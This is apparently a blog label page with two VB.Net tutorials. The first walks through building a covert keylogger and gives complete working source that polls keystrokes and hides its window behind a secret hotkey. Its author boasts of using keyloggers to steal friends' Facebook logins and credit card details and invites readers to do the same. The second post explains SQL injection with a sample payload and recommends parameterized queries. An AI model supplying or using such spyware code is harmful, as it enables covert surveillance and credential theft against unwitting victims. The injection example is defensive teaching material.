Showing posts with label vb. Show all posts
Showing posts with label vb. Show all posts

Wednesday, February 11, 2015

How to Create a Keylogger in VB Net

In this article we are going to develop our own Hacking Program. This article is on how to create a keylogger in vb.net. First of all lets take a look on what a keylogger is.

What is a Keylogger?

Keylogger is a program that records every keyboard keys pressed by a computer user. It is mostly used by hackers to steal confidential information like password, credit card credentials, etc.

Note: This article is only for educational purpose. I am not responsible for anything you do illegal with this program.

Also Read: How to Make a Tic Tac Toe Game in VB.Net

So apart from hacking credit card credentials I usually used keylogger to hack my friend’s facebook account. That’s why I have given you the source code so that you can also do the same. Visit below link for keylogger free download.


- Keylogger Free Download -



How to Create a Keylogger in VB.Net?

How to Create a Keylogger in VB.Net

1. So lets begin with designing the GUI (Graphical User Interface). First of all open Visual Studio & create a new project.

2. Now add 3 Buttons from Toolbox and name them Start, Stop & Hide. Start button will help us to start recording the keystrokes pressed. Stop will help us to stop recording the keystrokes and the best one is Hide, it will help us to make our keylogger invisible (it will run in background).

3. Now add a RichTextBox – This will help us to display the recorded Keystrokes.

4. Add a timer and set its interval to 170 (Don’t enable the timer). Our GUI designing is completed, now we need to write our code.

5. Double click the form so that you can switch to code view, now clear all the code and paste the following code:

Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Public log As String
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Button1.Text = "Started !"
Button2.Text = "Stop Recording"
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
Button1.Text = "Start Recording"
Button2.Text = "Stopped !"

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If (GetAsyncKeyState(65)) Then
log = log + "A"
ElseIf (GetAsyncKeyState(66)) Then
log = log + "B"
ElseIf (GetAsyncKeyState(67)) Then
log = log + "C"
ElseIf (GetAsyncKeyState(68)) Then
log = log + "D"
ElseIf (GetAsyncKeyState(69)) Then
log = log + "E"
ElseIf (GetAsyncKeyState(70)) Then
log = log + "F"
ElseIf (GetAsyncKeyState(71)) Then
log = log + "G"
ElseIf (GetAsyncKeyState(72)) Then
log = log + "H"
ElseIf (GetAsyncKeyState(73)) Then
log = log + "I"
ElseIf (GetAsyncKeyState(74)) Then
log = log + "J"
ElseIf (GetAsyncKeyState(75)) Then
log = log + "K"
ElseIf (GetAsyncKeyState(76)) Then
log = log + "L"
ElseIf (GetAsyncKeyState(77)) Then
log = log + "M"
ElseIf (GetAsyncKeyState(78)) Then
log = log + "N"
ElseIf (GetAsyncKeyState(79)) Then
log = log + "O"
ElseIf (GetAsyncKeyState(80)) Then
log = log + "P"
ElseIf (GetAsyncKeyState(81)) Then
log = log + "Q"
ElseIf (GetAsyncKeyState(82)) Then
log = log + "R"
ElseIf (GetAsyncKeyState(83)) Then
log = log + "S"
ElseIf (GetAsyncKeyState(84)) Then
log = log + "T"
ElseIf (GetAsyncKeyState(85)) Then
log = log + "U"
ElseIf (GetAsyncKeyState(86)) Then
log = log + "V"
ElseIf (GetAsyncKeyState(87)) Then
log = log + "W"
ElseIf (GetAsyncKeyState(88)) Then
log = log + "X"
ElseIf (GetAsyncKeyState(89)) Then
log = log + "Y"
ElseIf (GetAsyncKeyState(90)) Then
log = log + "Z"
ElseIf (GetAsyncKeyState(48)) Then
log = log + "0"
ElseIf (GetAsyncKeyState(49)) Then
log = log + "1"
ElseIf (GetAsyncKeyState(50)) Then
log = log + "2"
ElseIf (GetAsyncKeyState(51)) Then
log = log + "3"
ElseIf (GetAsyncKeyState(52)) Then
log = log + "4"
ElseIf (GetAsyncKeyState(53)) Then
log = log + "5"
ElseIf (GetAsyncKeyState(54)) Then
log = log + "6"
ElseIf (GetAsyncKeyState(55)) Then
log = log + "7"
ElseIf (GetAsyncKeyState(56)) Then
log = log + "8"
ElseIf (GetAsyncKeyState(57)) Then
log = log + "9"
ElseIf (GetAsyncKeyState(96)) Then
log = log + "{Num0}"
ElseIf (GetAsyncKeyState(97)) Then
log = log + "{Num1}"
ElseIf (GetAsyncKeyState(98)) Then
log = log + "{Num2}"
ElseIf (GetAsyncKeyState(99)) Then
log = log + "{Num3}"
ElseIf (GetAsyncKeyState(100)) Then
log = log + "{Num4}"
ElseIf (GetAsyncKeyState(101)) Then
log = log + "{Num5}"
ElseIf (GetAsyncKeyState(102)) Then
log = log + "{Num6}"
ElseIf (GetAsyncKeyState(103)) Then
log = log + "{Num7}"
ElseIf (GetAsyncKeyState(104)) Then
log = log + "{Num8}"
ElseIf (GetAsyncKeyState(105)) Then
log = log + "{Num9}"
ElseIf (GetAsyncKeyState(106)) Then
log = log + "{Num*}"
ElseIf (GetAsyncKeyState(107)) Then
log = log + "{Num+}"
ElseIf (GetAsyncKeyState(13)) Then
log = log + "{Enter}"
ElseIf (GetAsyncKeyState(109)) Then
log = log + "{Num-}"
ElseIf (GetAsyncKeyState(110)) Then
log = log + "{Num.}"
ElseIf (GetAsyncKeyState(111)) Then
log = log + "{Num/}"
ElseIf (GetAsyncKeyState(32)) Then
log = log + " "
ElseIf (GetAsyncKeyState(8)) Then
log = log + "{Backspace}"
ElseIf (GetAsyncKeyState(9)) Then
log = log + "{Tab}"
ElseIf (GetAsyncKeyState(16)) Then
log = log + "{Shift}"
ElseIf (GetAsyncKeyState(17)) Then
log = log + "{Control}"
ElseIf (GetAsyncKeyState(20)) Then
log = log + "{Caps}"
ElseIf (GetAsyncKeyState(27)) Then
log = log + "{Esc}"
ElseIf (GetAsyncKeyState(33)) Then
log = log + "{PGup}"
ElseIf (GetAsyncKeyState(34)) Then
log = log + "{PGdn}"
ElseIf (GetAsyncKeyState(35)) Then
log = log + "{End}"
ElseIf (GetAsyncKeyState(36)) Then
log = log + "{Home}"
ElseIf (GetAsyncKeyState(37)) Then
log = log + "{LArrow}"
ElseIf (GetAsyncKeyState(38)) Then
log = log + "{UArrow}"
ElseIf (GetAsyncKeyState(39)) Then
log = log + "{RArrow}"
ElseIf (GetAsyncKeyState(40)) Then
log = log + "{DArrow}"
ElseIf (GetAsyncKeyState(45)) Then
log = log + "{Insert}"
ElseIf (GetAsyncKeyState(46)) Then
log = log + "{Del}"
ElseIf (GetAsyncKeyState(144)) Then
log = log + "{NumLock}"
ElseIf (GetAsyncKeyState(188)) Then
log = log + "{,}"
End If
RichTextBox1.Text = log
Dim hotkey1 As Boolean
hotkey1 = GetAsyncKeyState(Keys.K)
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.ShiftKeyDown AndAlso hotkey1 Then
Me.Visible = True
Me.ShowInTaskbar = True
End If
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
MsgBox("Press Ctrl+Shift+K to make keylogger visible !", MsgBoxStyle.Information)
Me.Visible = "false"
Me.ShowInTaskbar = "false"
End Sub
End Class

Quick Tip: If you are facing any error then make sure your form Name is Form1.
Read more »

SQL Injection Attacks How to Prevent VB Net Database Applications

What is SQL Injection?

SQL injection is a code injection technique which is used to attack data-driven applications in which malicious SQL statements are inserted into an entry field for execution.

This VB.Net tutorial will guide you through the use of parameterized SQL queries and demonstrate how they can be used to prevent SQL injection attacks by your application users.



SQL Injection Attacks - How to Prevent VB.Net Database Applications

Also Read: How to Create a Keylogger in VB.Net?

Now the question comes in our mind that what is parameterized SQL queries? We will later on discuss about it in this tutorial.

Lets take a small example. As you know to insert some records in database we use the following query:


Insert into Table_Name Values(" & textbox1.text & "," & textbox2.text & "," & textbox3.text & ")


Now the problem in above code is that users can modify our query at runtime using SQL injection.



SQL Injection Attack Example

Lets take an example of a small SQL injection attack. Just forget the above query and assume that the query is:

Select * from Table_Name Where Username=" & TextBox1.Text & "


Now if the user inputs x OR x=x in TextBox1 then he can make the above query return true value and the result would be displaying all records starting with letter x.



How to Prevent SQL Injection Attacks

In order to avoid above problem we use parameterized SQL queries. Now lets take an example of parameterized query. Its very simple, we just need to add parameters instead of values.

Insert into Table_Name Values(@username,@password)


Note that parameters always starts with @ symbol. Now we need to assign values to these parameters in the following way.


Syntax: SQLCommand.AddParam("ParameterName", value)

Example: SQLCommand.AddParam("@username",TextBox1.text)

Using this method we can easily avoid SQL injections attacks. Below video contains a detailed guide about how to prevent SQL injection attacks.



Image Credit
Read more »